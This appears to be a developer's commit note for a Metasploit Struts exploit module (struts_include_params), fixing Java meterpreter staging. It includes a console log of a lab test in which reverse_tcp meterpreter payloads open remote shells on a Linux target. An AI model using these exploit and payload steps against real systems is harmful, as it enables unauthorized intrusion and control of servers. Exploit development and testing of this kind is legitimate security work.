Fix issue with JAVA meterpreter failing to work.

Was down to the chunk length not being set correctly.
Still need to test against windows.

```
msf exploit(struts_include_params) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows Universal
   1   Linux Universal
   2   Java Universal

msf exploit(struts_include_params) > set target 1
target => 1
msf exploit(struts_include_params) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444
[*] Preparing payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.0.1
[*] Meterpreter session 5 opened (192.168.0.2:4444 -> 192.168.0.1:38512) at 2013-05-30 10:37:54 +0100
[+] Deleted /tmp/57mN5N

meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Linux localhost.localdomain 2.6.32-358.2.1.el6.x86_64 #1 SMP Wed Mar 13 00:26:49 UTC 2013 (x86_64)
Architecture : x86_64
Meterpreter  : x86/linux
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.1 - Meterpreter session 5 closed.  Reason: User exit
msf exploit(struts_include_params) > set target 2
target => 2
msf exploit(struts_include_params) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444
[*] Preparing payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending stage (30246 bytes) to 192.168.0.1
[*] Meterpreter session 6 opened (192.168.0.2:4444 -> 192.168.0.1:38513) at 2013-05-30 10:38:27 +0100
[!] This exploit may require manual cleanup of: z4kv.jar

meterpreter > sysinfo
Computer    : localhost.localdomain
OS          : Linux 2.6.32-358.2.1.el6.x86_64 (amd64)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...
```